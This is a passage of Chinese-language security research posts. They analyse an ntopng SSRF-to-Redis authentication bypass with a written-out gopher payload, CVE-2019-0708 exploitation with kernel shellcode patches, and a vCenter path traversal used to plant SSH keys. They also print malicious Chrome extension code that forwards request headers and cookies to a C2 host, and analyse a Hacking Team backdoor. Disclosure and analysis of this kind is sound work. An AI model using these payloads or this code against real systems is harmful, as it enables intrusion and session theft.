            char *password, int timeout,
            bool return_content,
            bool use_cookie_authentication,
            HTTPTranferStats *stats, const char *form_data,
            char *write_fname, bool follow_redirects, int ip_version) {
  CURL *curl;
  FILE *out_f = NULL;
  bool ret = true;

  curl = curl_easy_init();

众所周知,cURL 是支持 gopher:// 协议的。ntopng 使用 Redis 储存 Session 的相关信息,那么利用SSRF 攻击本地的 Redis 即可设置 Session,最终实现认证绕过。

discover.discover2table 的调用入口在 discover.lua,也是一个偶数长度的文件名。于是通过请求此文件触发主机发现功能,同时启动一个 SSDP Server 去回复 ntopng 发出的 M-SEARCH 请求,并将 Location设置为如下 payload:

gopher://127.0.0.1:6379/_SET%20sessions.ntop%20%22admin|...%22%0d%0aQUIT%0d%0a

最终通过设置 Cookie 为 session=ntop 来通过认证。

0x05. 利用主机发现功能实现 RCE (版本 3.8-4.0)

原理同 0x04,利用点在 assistant_test.lua 中,需要设置 ntopng.prefs.telegram_chat_id 以及 ntopng.prefs.telegram_bot_token,利用 SSRF 写入 Redis 即可。

local function send_text_telegram(text) 
  local chat_id, bot_token = ntop.getCache("ntopng.prefs.telegram_chat_id"), 
  ntop.getCache("ntopng.prefs.telegram_bot_token")

    if( string.len(text) >= 4096 ) then 
      text = string.sub( text, 1, 4096 )
    end

    if (bot_token and chat_id) and (bot_token ~= "") and (chat_id ~= "") then 
      os.execute("curl -X POST  https://api.telegram.org/bot"..bot_token..
      "/sendMessage -d chat_id="..chat_id.." -d text=\" " ..text.." \" ")
      return 0

    else
      return 1
    end
end

0x06. 利用主机发现功能实现 RCE (版本 3.2-3.8)

原理同 0x04,利用点在 modules/alert_utils.lua 中,需要在 Redis 里设置合适的 threshold。

local function entity_threshold_crossed(granularity, old_table, new_table, threshold)
   local rc
   local threshold_info = table.clone(threshold)

   if old_table and new_table then -- meaningful checks require both new and old tables
      ..
      -- This is where magic happens: load() evaluates the string
      local what = "val = "..threshold.metric.."(old, new, duration); if(val ".. op .. " " ..
       threshold.edge .. ") then return(true) else return(false) end"

      local f = load(what)
      ...

0x07. 在云主机上进行利用

SSDP 通常是在局域网内进行数据传输的,看似不可能针对公网的 ntopng 进行攻击。但是我们根据 0x04 中所提及到的 SSDP 的运作方式可知,当 ntopng 发送 M-SEARCH 请求后,在 3s 内向其隐式绑定的 UDP 端口发送数据即可使 ntopng 成功触发漏洞。

// modules/discover_utils.lua: local ssdp = interface.discoverHosts(3) <- timeout
if(timeout < 1) timeout = 1;

tv.tv_sec = timeout;
tv.tv_usec = 0;
..

while(select(udp_sock + 1, &fdset, NULL, NULL, &tv) > 0) {
    struct sockaddr_in from = { 0 };
    socklen_t s = sizeof(from);
    char ipbuf[32];
    int len = recvfrom(udp_sock, (char*)msg, sizeof(msg), 0, (sockaddr*)&from, &s);
    ..

针对云主机,如 Google Compute Engine、腾讯云等,其实例的公网 IP 实际上是利用 NAT 来进行与外部网络的通信的。即使绑定在云主机的内网 IP 地址上(如 10.x.x.x),在流量经过 NAT 时,dst IP 也会被替换为云主机实例的内网 IP 地址,也就是说,我们一旦知道其与 SSDP 多播地址 239.255.255.250 通信的 UDP 端口,即使不在同一个局域网内,也可以使之接收到我们的 payload,以触发漏洞。

针对 0x04,我们可以利用 rest/v1/get/flow/active.lua 来获取当前 ntopng 服务器与 239.255.255.250 通信的端口,由于这个路径长度为奇数,所以我们需要利用 0x02 中提及到的任意 lua 文件包含来进行利用。

同时,由于 UDP 通信的过程中此端口是隐式绑定的,且并没有进行来源验证,所以一旦获取到这个端口号,则可以向此端口发送 SSDP 数据包,以混淆真实的 SSDP 回复。需要注意的是,需要在触发主机功能的窗口期内向此端口发送数据,所以整个攻击流程如下:

  1. 触发主机发现功能;
  2. 循环请求 rest/v1/get/flow/active.lua 以获取端口;
  3. 再次触发主机发现功能;
  4. 向目标从第 2 步获取到的 UDP 端口发送 payload;
  5. 尝试利用 Cookie 进行登录以绕过认证。

针对 0x05,我们可以利用 get_flows_data.lua 来获取相关的 UDP 端口,原理不再赘述。

0x07. Conclusion

为什么出问题的文件名长度都是偶数啊.jpg

CVE-2019-0708 漏洞在 Windows Server 2008 R2 上的利用分析

By: yyjb
27 February 2021 at 07:06

分析背景

cve-2019-0708是2019年一个rdp协议漏洞,虽然此漏洞只存在于较低版本的windows系统上,但仍有一部分用户使用较早版本的系统部署服务器(如Win Server 2008等),该漏洞仍有较大隐患。在此漏洞发布补丁之后不久,msf上即出现公开的可利用代码;但msf的利用代码似乎只针对win7,如果想要在Win Server 2008 R2上利用成功的话,则需要事先在目标机上手动设置注册表项。

在我们实际的渗透测试过程中,发现有部分Win Server 2008服务器只更新了永恒之蓝补丁,而没有修复cve-2019-0708。因此,我们尝试是否可以在修补过永恒之蓝的Win Server 2008 R2上实现一个更具有可行性的cve-2019-0708 EXP。

由于该漏洞已有大量的详细分析和利用代码,因此本文对漏洞原理和公开利用不做赘述。

分析过程

我们分析了msf的exp代码,发现公开的exp主要是利用大量Client Name内核对象布局内核池。这主要有两个目的,一是覆盖漏洞触发导致MS_T120Channel对象释放后的内存,构造伪造的Channel对象;二是直接将最终的的shellcode布局到内核池。然后通过触发IcaChannelInputInternal中Channel对象在其0x100偏移处的虚函数指针引用来达到代码执行的目的。如图1:

图1

而这种利用方式并不适用于server2008r2。我们分析了server2008r2的崩溃情况,发现引起崩溃的原因是第一步,即无法使用Client Name对象伪造channel对象,从而布局失败。这是因为在默认设置下,server 2008 r2的
RDPSND/MS_T120 channel对象不能接收客户端Client Name对象的分片数据。根据MSF的说明(见图2),只有发送至RDPSND/MS_T120的分片信息才会被正确处理;win7以上的系统不支持MS_T120,而RDPSND在server 2008 r2上并不是默认开启的因此,我们需要寻找其他可以伪造channel对象的方式。

图2 MSF利用代码中针对EXP的说明

在此期间,我们阅读了几篇详细分析cve-2019-0708的文章(见参考链接),结合之前的调试分析经历,我们发现的确可以利用RDPDR 的channelID(去掉MSF中对rdp_on_core_client_id_confirm函数的target_channel_id加一的操作即可)使Client Name成功填充MS_T120 channel对象,但使用RDPDR 有一个缺陷:RDPDR Client Name对象只能申请有限的次数,基本上只能完成MS_T120对象的伪造占用并触发虚函数任意指针执行,无法完成后续的任意地址shellcode布局。

图3

我们再次研究了Unit 42发布的报告,他们利用之前发布的文章中提到的Refresh Rect PDU对象来完成内核池的大范围布局(如图,注:需要在RDP Connection Sequence之后才能发送这个结构)。虽然这种内存布局方式每次只能控制8个字节,但作者利用了一个十分巧妙的方式,最终在32位系统上完成漏洞利用。

图4

在解释这种巧妙利用之前,我们需要补充此漏洞目前的利用思路:得到一个任意指针执行的机会后,跳转到该指针指向的地址中,之后开始执行代码。但在内核中,我们能够控制的可预测地址只有这8个字节。虽然此时其中一个寄存器的固定偏移上保存有一个可以控制的伪造对象地址,但至少需要一条语句跳转过去。

而文章作者就是利用了在32位系统上地址长度只有4字节的特性,以及一条极短的汇编语句add bl,al; jmp ebx,这两个功能的代码合起来刚好在8字节的代码中完成。之后通过伪造channel对象里面的第二阶段跳转代码再次跳转到最后的shellcode上。(具体参考Unite 42的报告

我们尝试在64位系统上复现这种方法。通过阅读微软对Refresh Rect PDU描述的官方文档以及msf的rdp.rb文件中对rdp协议的详细注释,我们了解到,申请Refresh Rect PDU对象的次数很多,能够满足内核池布局大小的需求,但在之后多次调试分析后发现,这种方法在64位系统上的实现有一些问题:在64位系统上,仅地址长度就达到了8字节。我们曾经考虑了一种更极端的方式,将内核地址低位上的可变的几位复用为跳转语句的一部分,但由于内核池地址本身的大小范围,这里最多控制低位上的7位,即:

0xfffffa801“8c08000“ 7位可控

另外,RDPDR Client Name对象的布局的可控数据位置本身也是固定的(即其中最低的两位也是固定的),这样我们就只有更少的5位来实现第二阶段的shellcode跳转,即:

“8c080”0xfffffa801“8c080”00 5位可控,

由于伪造的channel对象中真正可用于跳转的地址和寄存器之间仍有计算关系,所以这种方法不可行,需要考虑其他的思路。

把利用的条件和思路设置得更宽泛一些,我们想到,如果目前rdp协议暂时不能找到这样合适的内核池布局方式,那其他比较容易获取的也比较通用的协议呢?结合以前分析过的协议类的多种代码执行漏洞,smb中有一个用得比较多的内核池布局方式srvnet对象。

无论是永恒之蓝还是之后的SMBGhost都使用到srvnet对象进行内存布局。最容易的方法可以借助于msf中ms17-010的代码,通过修改代码中对make_smb2_payload_headers_packetmake_smb2_payload_body_packet 大小和数据的控制,能够比较容易地获取一种稳定的内核池布局方式(相关代码参考图5)。

图5

由于单个Client Name Request所申请的大小不足以存放一个完整的shellcode,并且如上面提到的,也不能申请到足够多的RDPDR Client Name来布局内核池空间,所以我们选择将最终的shellcode直接布局到srvnet申请的内核池结构中,而不是将其当作一个跳板,这样也简化了整个漏洞的利用过程。

最后需要说明一下shellcode的调试。ms17-010中的shellcode以及0708中的shellcode都有一部分是根据实际需求定制的,不能直接使用。0708中的shellcode受限于RDPDR Client Name大小的限制,需要把shellcode的内核模块和用户层模块分为两个部分,每部分shellcode头部还带有自动搜索另一部分shellcode的代码。为了方便起见,我们直接使用ms17-010中的shellcode,其中只需要修改一处用来保存进程信息对象结构的固定偏移地址。之后,我们仍需要在shellcode中添加文章中安全跳过IcaChannelInputInternal函数剩余部分可能崩溃的代码(参考Patch Kernel to Avoid Crash 章节),即可使整个利用正常工作。64位中添加的修补代码如下:

mov qword ptr[rbx+108h],0
mov rax,qword ptr[rsp]
add rax,440h
mov qword ptr[rsp],rax
mov r11,qword ptr gs:[188h]
add word ptr [r11+1C4h],1

总结

本篇文章主要是分享我们在分析CVE-2019-0708漏洞利用的过程中整合现有的一些方法和技术去解决具体实际问题的思路。但这种方法也会有一些限制,例如既然使用了smb协议中的一些内核对布局方式,则前提是需要目标开启了smb端口。另外,不同虚拟化平台下的目标内核基址需要预测来达到使exp通用的问题仍没有解决,但由于这个漏洞是2019年的,从到目前为止众多已经修补过的rdp信息泄露漏洞中泄露一个任意内核对象地址,应该不会是太难的一件事。

综上,我们建议用户尽量使用最新的操作系统来保证系统安全性,如果的确出于某些原因要考虑较早版本且不受微软安全更新保护的系统,也尽量将补丁打全,至少可以降低攻击者攻击成功的方法和机会。

参考链接

CVE-2021-21972 vCenter Server 文件写入漏洞分析

By: RicterZ
24 February 2021 at 08:59

0x01. 漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

vSphere Client(HTML5)在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,从而在服务器上写入 webshell,最终造成远程任意代码执行。

0x02. 影响范围

  • vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
  • vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
  • vmware:vcenter_server 6.5 U3n 之前的 6.5 版本

0x03. 漏洞影响

VMware已评估此问题的严重程度为 严重 程度,CVSSv3 得分为 9.8

0x04. 漏洞分析

vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码逻辑是将 TAR 文件解压后上传到 /tmp/unicorn_ova_dir 目录。注意到如下代码:

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

直接将 TAR 的文件名与 /tmp/unicorn_ova_dir 拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历。

对于 Linux 版本,可以创建一个包含 ../../home/vsphere-ui/.ssh/authorized_keys 的 TAR 文件并上传后利用 SSH 登陆:

$ ssh 192.168.1.34 -lvsphere-ui

VMware vCenter Server 7.0.1.00100

Type: vCenter Server with an embedded Platform Services Controller

[email protected] [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)

针对 Windows 版本,可以在目标服务器上写入 JSP webshell 文件,由于服务是 System 权限,所以可以任意文件写。

0x05. 漏洞修复

升级到安全版本:

  • vCenter Server 7.0 版本升级到 7.0.U1c

  • vCenter Server 6.7版本升级到 6.7.U3l

  • vCenter Server 6.5版本升级到 6.5 U3n

临时修复建议

(针对暂时无法升级的服务器)

  1. SSH远连到vCSA(或远程桌面连接到Windows VC)

  2. 备份以下文件:

    • Linux系统文件路径为:/etc/vmware/vsphere-ui/compatibility-matrix.xml (vCSA)

    • Windows文件路径为:C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui (Windows VC)

  3. 使用文本编辑器将文件内容修改为: 640

  4. 使用vmon-cli -r vsphere-ui命令重启vsphere-ui服务

  5. 访问https:///ui/vropspluginui/rest/services/checkmobregister,显示404错误 640--1--1

  6. 在vSphere Client的Solutions->Client Plugins中VMWare vROPS插件显示为incompatible 640--2-

0x06. 参考链接

隐藏在 Chrome 中的窃密者

By: gaoya
23 October 2020 at 09:43

概述

近日,有reddit用户反映,拥有100k+安装的Google Chrome扩展程序 User-Agent Switcher存在恶意点赞facebook/instagram照片的行为。

除User-Agent Switcher以外,还有另外两个扩展程序也被标记为恶意的,并从Chrome商店中下架。

目前已知受影响的扩展程序以及版本:

  • User-Agent Switcher
    • 2.0.0.9
    • 2.0.1.0
  • Nano Defender
    • 15.0.0.206
  • Nano Adblocker
    • 疑为 1.0.0.154

目前,Google已将相关扩展程序从 Web Store 中删除。Firefox插件则不受影响。

影响范围

Chrome Webstore显示的各扩展程序的安装量如下:

  • User-Agent Switcher: 100 000+
  • Nano Defender: 200 000+
  • Nano Adblocker: 100 000+

360安全大脑显示,国内已有多位用户中招。我们尚不清楚有多少人安装了受影响的扩展程序,但从国外社区反馈来看,安装相关插件的用户不在少数,考虑到安装基数,我们认为此次事件影响较为广泛,请广大Chrome用户提高警惕,对相关扩展程序进行排查,以防被恶意组织利用。

国外社区用户研究者报告了User-Agent Switcher随机点赞facebook/Instagram照片的行为,虽然我们目前还没有看到有窃取密码或远程登录的行为,但是考虑到这些插件能够收集浏览器请求头(其中也包括cookies),我们可以合理推测,攻击者是能够利用收集到的信息进行未授权登录的。为了防止更进一步危害的发生,我们在此建议受影响的Chrome用户:

  • 及时移除插件
  • 检查 Facebook/Instagram 账户是否存在来历不明的点赞行为
  • 检查账户是否存在异常登录情况
  • 修改相关账户密码
  • 登出所有浏览器会话

Timeline

  • 8月29日,User-Agent Switcher 更新 2.0.0.9 版本
  • 9月7日,User-Agent Switcher 更新 2.0.1.0 版本
  • 10月3日,Nano Defender作者jspenguin2017宣布将 Nano Defender 转交给其他开发者维护
  • 10月7日,reddit用户 ufo56 发布帖子,报告 User-Agent Switcher 的恶意行为
  • 10月15日,Nano Defender 更新 15.0.0.206 版本,同时:
    • 有开发者报告新开发者在商店中更新的 15.0.0.206 版本与repository中的代码不符(多了background/connection.js
    • uBlock开发者gorhill对新增代码进行了分析

代码分析

User-Agent Switcher

影响版本:2.0.0.9, 2.0.1.0

修改文件分析

User-Agent Switcher 2.0.0.8与2.0.0.9版本的文件结构完全相同,攻击者仅修改了其中两个文件:js/background.min.jsjs/JsonValues.min.js

三个版本文件大小有所不同
文件结构相同

background.min.js

js/background.min.js 中定义了扩展程序的后台操作。

攻击者修改的部分代码

完整代码如下所示。

// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
    let t = await fetch(e.uri, e.attr),
        s = {};
    return s.headerEntries = Array.from(t.headers.entries()), 
           s.data = await t.text(), 
           s.ok = t.ok, 
           s.status = t.status, 
           s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
    let t = await createFetch(e);
    userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
    return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
        requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
    }
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);

攻击者添加的代码中定义了一个到 https://www.useragentswitch.com 的连接,并hook了浏览器的所有网络请求。当url中未包含 useragentswitch 时,将请求头编码后发送到C2。除此之外,当js代码接收到“createFetch”事件时,会调用 createFetch 函数,从参数中获取uri等发起相应请求。

由此我们推测,如果用户安装了此插件,C2通过向插件发送“createFetch”事件,使插件发起请求,完成指定任务,例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。

插件发起的网络请求(图片来自reddit)

在处理hook的请求头时,js代码会替换掉请求头中的 -zzz 后再发送,但我们暂时无法得知这样操作的目的是什么。

User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同,仅修改了 js/background.min.js 文件中的部分代码顺序,在此不做多述。

JsonValues.min.js

js/JsonValues.min.js 中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析,这些代码为混淆后的socketio客户端

攻击者添加的js代码

Nano Defender

影响版本:15.0.0.206

在Nano Defender中,攻击者同样修改了两个文件:

background/connection.js
background/core.js

其中,background/connection.js 为新增的文件,与User-Agent Switcher中的 js/JsonValues.min.js 相同,为混淆后的socketio客户端。

core.js

background/core.js 与User-Agent Switcher中的 js/background.min.js 相似,同样hook浏览器的所有请求并发送至C2(https://def.dev-nano.com/),并监听dLisfOfObject事件,发起相应请求。

background/core.js 部分修改代码

与User-Agent Switcher不同的是,在将浏览器请求转发至C2时,会使用正则过滤。过滤原则为C2返回的listOfObject,如果请求头满足全部条件,则转发完整的请求头,否则不予转发。

可以看出,攻击者对原本的转发策略进行了优化,从最初的几乎全部转发修改为过滤转发,这使得攻击者能够更为高效地获取感兴趣的信息。

同样地,core.js在发送请求头之前,会删除请求头中的-zzz字符串。只是这次core.js做了简单混淆,使用ASCII数组而非直接的-zzz字符串。

var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join(""); 
var replacer = JSON.parse(replacerConcat); 
return { 
    requestHeaders: replacer 
} 

uBlock的开发者gorhill对此代码进行了比较详细的分析,我们在此不做赘述。

Nano Adblocker

影响版本:未知

尽管有报告提到,Nano Adblocker 1.0.0.154 版本也被植入了恶意代码,但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架,我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的版本历史中的最后一次更新为2020年8月26日,版本号为1.0.0.153。

Nano Adblocker 更新历史

版本历史

由于各插件已被Google下架,我们无法从官方商店获取插件详情。根据第三方网站,User-Agent Switcher 版本历史如下:

可以看到,第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日,而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。

第三方网站显示的 Nano Defender 版本历史显示,攻击者在2020年10月15日在Google Web Store上更新了15.0.0.206版本,而C2域名dev-nano.com注册时间为2020年10月11日。

关联分析

我们对比了User-Agent Switcher和Nano Defender的代码。其中,js/background.js (from ua switcher)和background/core.js (from nano defender) 两个文件中存在相同的代码。

左图为ua switcher 2.0.0.9新增的部分代码,右图为nano defender新增的部分代码

可以看到,两段代码几乎完全相同,仅对变量名称、代码布局有修改。此外,两段代码对待转发请求头的操作相同:都替换了请求头中的-zzz字符串。

左图为ua switcher 2.0.0.9,右图为nano defender

由此,我们认为,两个(或三个)扩展程序的始作俑者为同一人。

Nano Defender新开发者创建了自己的项目。目前该项目以及账户(nenodevs)均已被删除,因此我们无法从GitHub主页获取到有关他们的信息。

攻击者使用的两个域名都是在插件上架前几天注册的,开启了隐私保护,并利用CDN隐藏真实IP,而他们在扩展程序中使用的C2地址 www.useragentswitch.comwww.dev-nano.com 目前均指向了namecheap的parkingpage。

图片来自360netlab

Nano Defender原作者称新开发者是来自土耳其的开发团队,但是我们没有找到更多的信息证实攻击者的身份。

小结

攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie,能够获取会话信息,从而未授权登录;如果登录银行网站的会话被截取,用户资金安全将难保。就目前掌握的证据而言,攻击者仅仅利用此插件随机点赞,而没有更进一步的操作。我们无法判断是攻击者本身目的如此,或者这只是一次试验。

窃取用户隐私的浏览器插件并不罕见。早在2017年,在v2ex论坛就有用户表示,Chrome中另一个名为 User-Agent Switcher 的扩展程序可能存在未授权侵犯用户隐私的恶意行为;2018年卡巴斯基也发布了一篇关于Chrome恶意插件的报告。由于Google的审核流程并未检测到此类恶意插件,攻击者仍然可以通过类似的手法进行恶意活动。

IoCs

f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com
dev-nano.com

References

https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/
https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/
https://github.com/jspenguin2017/Snippets/issues/5
https://github.com/NanoAdblocker/NanoCore/issues/362
https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md
https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0

凛冬将至,恶魔重新降临 —— 浅析 Hacking Team 新活动

By: liuchuang
29 September 2020 at 10:49

背景

Hacking Team 是为数不多在全球范围内出售网络武器的公司之一,从 2003 年成立以来便因向政府机构出售监视工具而臭名昭著。

2015年7月,Hacking Team 遭受黑客攻击,其 400GB 的内部数据,包括曾经保密的客户列表,内部邮件以及工程化的漏洞和后门代码被全部公开。随后,有关 hacking team 的活动突然销声匿迹。

2018年3月 ESET 的报告指出:Hacking Team 一直处于活跃状态,其后门版本也一直保持着稳定的更新。

2018年12月360高级威胁应对团队的报告披露了 Hacking Team 使用 Flash 0day 的”毒针”行动。

2019年11月360高级威胁应对团队的报告披露了 APT-C-34 组织使用 Hacking Team 网络武器进行攻击。

2020年4月360诺亚实验室的报告披露出 Hacking Team 新的攻击活动。

以上信息表明,Hacking Team 依旧处于活跃状态,并且仍然保持着高水准的网络武器开发能力。

概述

2020年9月11日,VirusTotal 上传了一份来自白俄罗斯的 rtf 恶意文档样本,该样本疑似 CVE-2020-0968 漏洞首次被发现在野利用。国内友商将此攻击事件称为“多米诺行动”,但并未对其进行更丰富的归因。

我们分析相关样本后发现,该行动中使用的后门程序为 Hacking Team scout 后门的 38 版本。

此版本的后门使用了打印机图标,伪装成 Microsoft Windows Fax and Scan 程序。

和之前的版本一样,该样本依然加了VMP壳,并使用了有效的数字签名:

此样本的后门 ID 为031b000000015

C2 为 185.243.112[.]57

和之前的版本相同,scout 使用 post 方式,将加密信息上传至 185.243.112[.]57/search,且使用了相同的 UserAgent。由于其版本间的功能变化不大,我们在此不再对其进行详细分析。若对 scout 后门技术细节感兴趣,可以参考我们之前发布的报告

关联分析

通过签名我们关联到另外一起针对俄罗斯的攻击事件。

关联到的样本名为: дело1502-20памятка_эл72129.rtf,中文翻译为:案例 1502-20 备忘录。rtf运行后,会从远程服务器 23.106.122[.]190 下载 mswfs.cab 文件,并释放后门程序到 %UserProfile%\AppData\Local\Comms\mswfs.exe。9月26日分析时,从服务器下载的 mswfs.cab 文件为正常的 winrar 安装包文件。

mswfs.exe 同样为 scout 后门38版本。

与针对白俄罗斯的攻击中的样本相同,该样本伪装成 Microsoft Windows Fax and Scan 程序,并使用了相同的数字签名。

此样本后门 ID 和 C2 如下图所示。

BACKDOOR_ID:71f8000000015
C2: 87.120.37[.]47

通过对远程服务器 23.106.122[.]190 进行分析,我们发现该 ip 关联的域名为 gvpgov[.]ru,注册日期为2020年9月11号。该域名为 gvp.gov.ru 的伪装域名,直接访问 23.106.122[.]190 会跳转到 https://www.gvp.gov.ru/gvp/documents ,即俄罗斯军事检察官办公室门户。

结论

结合白俄罗斯上传的 “СВЕДЕНИЯ О ПОДСУДИМОМ.rtf” (中文翻译为“有关被告的信息”)样本和关联到的新样本,我们可以推测,此次行动是攻击者使用 Hacking Team 网络武器库针对俄罗斯与白俄罗斯军事/司法部门相关人员的一次定向攻击事件。

结合当前时间节点,俄罗斯、白俄罗斯和中国军队在俄罗斯阿斯特拉罕州卡普斯京亚尔靶场举行“高加索-2020”战略演习,白俄罗斯与俄罗斯联合开展“斯拉夫兄弟情2020”联合战术演习,9月14日的俄白总统会谈,以及白俄罗斯的示威活动,也给此次攻击增添了重重政治意味。

关于HT

2019年4月,Hacking Team 这家意大利公司被另一家网络安全公司收购并更名为 Memento Labs。一年多之后的2020年5月,Hacking Team 的创始人和前首席执行官 David Vincenzetti 在其官方 LinkedIn 账号上发布了一条简短的消息:

Hacking Team is dead.

Hacking Team 的几名主要员工离职后,尽管新产品的开发速度有所减缓,但通过观测到的 scout 后门版本的更新情况,我们发现 Hacking Team 仍然保持着较高频率的活跃,这也说明 Memento Labs 一直在努力试图崛起。

观测到的时间 scout版本号 签名 签名有效期 伪装的程序
2019-10 35 KELSUREIWT LTD 2018.10-2019.10 ActiveSync RAPI Manager
2020-01 35 CODEMAT LTD 2019.06-2020.06 ActiveSync RAPI Manager
2020-05 36 Pribyl Handels GmbH 2019.12-2020.12 ActiveSync RAPI Manager
2020-09 38 Sizg Solutions GmbH 2019.12-2020.12 Microsoft Windows Fax and Scan

IoCs

针对俄罗斯的攻击

Hash

9E570B21929325284CF41C8FCAE4B712 mswfs.exe

BACKDOOR_ID

71f8000000015

IP

23.106.122[.]190
87.120.37[.]47

针对白俄罗斯的攻击

hash

60981545a5007e5c28c8275d5f51d8f0 СВЕДЕНИЯ О ПОДСУДИМОМ.rtf
ba1fa3cc9c79b550c2e09e8a6830e318 dll
f927659fc6f97b3f6be2648aed4064e1 exe

BACKDOOR_ID

031b000000015

IP

94.156.174[.]7
185.243.112[.]57

CVE-2020-0796漏洞realworld场景实现改进说明

By: gaoya
14 July 2020 at 09:51

在此前跟进CVE-2020-0796的过程中,我们发现公开代码的利用稳定性比较差,经常出现蓝屏的情况,通过研究,本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。

Takeaways

  • 我们分析了exp导致系统蓝屏的原因,并尝试对其进行了改进;
  • 相对于重构前exp,重构后的exp执行效率与稳定性都有显著提高;
  • 关于漏洞原理阐述,Ricerca Security在2020年4月份发布的一篇blog中已非常清晰,有兴趣的读者可以移步阅读,本文不再赘述。

初步选择和测试公开exp可用性

测试环境:VMWare,Win10专业版1903,2G内存,2处理核心

为了测试和说明方便,我们可以将exp的执行分为3个阶段:

  1. 漏洞利用到内核shellcode代码开始执行
  2. 内核shellcode代码执行
  3. 用户层shellcode执行

根据实际情况,我们测试了chompie1337ZecOps的漏洞利用代码。根据各自项目的说明文档,两份代码初步情况如下:

  • ZecOps

ZecOps的利用代码是在单个处理器的目标计算机系统上测试的;在后续的实际测试中,发现其代码对多处理器系统的支持不足,虽然在测试环境中进行了多次测试中,系统不会产生BSOD,但漏洞无法成功利用(即exp执行第一阶段失败)。

  • chompie1337

chompie1337的代码在漏洞利用阶段则表现得十分稳定,但在内核shellcode执行时会造成系统崩溃。

因此,我们决定将chompie1337的利用代码作为主要测试对象。

内核shellcode问题定位

我们在win10 1903中测试了chompie1337的exp代码,绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行(即exp执行的第二阶段)时,申请用户空间内存的API zwAllocateVirtualMemory调用失败。在我们的多次测试中,崩溃现场主要包括以下两种:

Crash_A backtrace
Crash_B backtrace

对比exp正常执行时的流程和崩溃现场,我们发现无论是哪种崩溃现场,根本原因都是在内核态申请用户态内存时,调用MiFastLockLeafPageTable时(crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable,crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable)函数内部出现错误,导致系统崩溃。

在遇到crash_B时,我们起初认为这是在内核态申请用户态读写权限内存时,系统复制CFG Bitmap出现的异常。CFG(Control Flow Guard,控制流防护)会检查内存申请等关键API调用者是否有效,以避免出现安全问题。

随后,我们尝试了一些CFG绕过的方法,包括替换内存申请API间接调用地址,强制修改进程CFG启动标志等,这些方法无一例外都失败了。但在尝试过程中,ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0这篇文章分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因,其中提到了微软针对Intel CPU漏洞的缓解措施,KVA Shadow。

